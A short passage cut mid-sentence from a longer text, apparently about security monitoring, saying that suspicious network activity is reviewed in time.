activity occurring, so that suspicious network activity is reviewed in time.



